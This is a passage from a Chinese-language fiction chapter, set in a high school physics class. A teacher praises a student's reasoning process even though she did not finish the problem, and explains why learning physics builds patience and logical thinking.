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佛辨认字迹似的凑近自己手里的纸。
安老师耐心地注视着她这些假动作,一声也没有催。
林风临终于视死如归开口了:“嗯……我思考了一下,把条件提供给我们的信息做了整合,并在此基础上进一步地做了推导,……所以说……有这么一些进展……目前,可能时间方面的话,这个,可能关键灵感还在路上…”
谁来让我自己住嘴!
总之,她说了一些毫无营养也毫无价值但是可以浪费时间的话,总算定下心来……她已经尽力了。
不负青春,死而无憾。
但是安老师没有给她判死刑的意思,甚至还笑了起来:“很好,林同学的解题过程很清晰,就是我们物理学科在做题时应该有的态度。”
林风临一下子抬起头。
安老师在看着她微笑:“先坐下吧。”
“我们开学马上一个月了,大家觉得最近学物理痛苦吗?”
班里的学生纷纷抬起头。
什么!安老师终于要讲些闲话了吗!
“来,这位同学,你说说,你觉得为什么要学物理?”
“因为……考试要考。”
“诚实的回答,不过不是我要的答案,请坐。”
“你呢?于慕青同学?”
“呃,因为物理很有用?我们的生活离不开物理?”
“很好,看得出你读过物理书的前言。那么,你觉得现在物理对你派上用场了吗?”
“……呃,可能……”
于慕青求救地看向陈曼文。
“那于同学的同桌站起来说说吧。”
陈曼文一推桌子站了起来:“物理很有用,虽然我不知道它具体在生活中如何作用,但是我肯定每分每秒都在它的规律下运作。”
于慕青扭头看她,脸上写满了隐忍的“你再给我装”。
陈曼文脸不红气不虚。
安老师抬手让这两个活宝坐下来。
她笑叹了一声:“看来……大家都对学习物理的意义有所疑虑。”
“的确,虽然物理知识影响着,改变着我们的生活,但作为学生,我们几乎没有用到这些知识的机会,你不需要在走路的时候想着重力,或在打电话的时候感念电磁波,你一样可以正常生活。”
“所以,我和大家的想法是一样的。”
“有些老师比较倾向于知识论,希望大家学到尽可能多的知识,对信息的掌握是最重要的。”
“但我个人,崇尚能力论,现在大家学到的物理知识,也许毕业之后就会忘记,甚至这辈子再也用不上了,但是你通过学习物理、认真解题所培养出的耐心和处理信息的逻辑推理能力,也许会伴随你们的一生。”
她微笑起来,“这就是为什么林同学没有解出结果,我却仍然觉得她做得很好。”
“其他的很多同学也一样,虽然你们也许没有算出最后的那个数字,但可以说,我对大家非常满意。”
“你们已经有了细致的处理信息的步骤,看到一堆条件信息,知道如何着手,并且按照自己的思路往下推导,这样清晰仔细的过程比什么都重要。”
“会做到哪里,就停在哪里。剩下的,我来为大家解决。”
安修竹看着学生们闪闪发亮的眼睛,继续说:“所以,今天的物理家作,我希望每个人都能完成。”
有些人无奈地笑了,有些人似乎得到了信心,有些人始终无动于衷。
不过,作为老师,她能说的话,也只有这些了。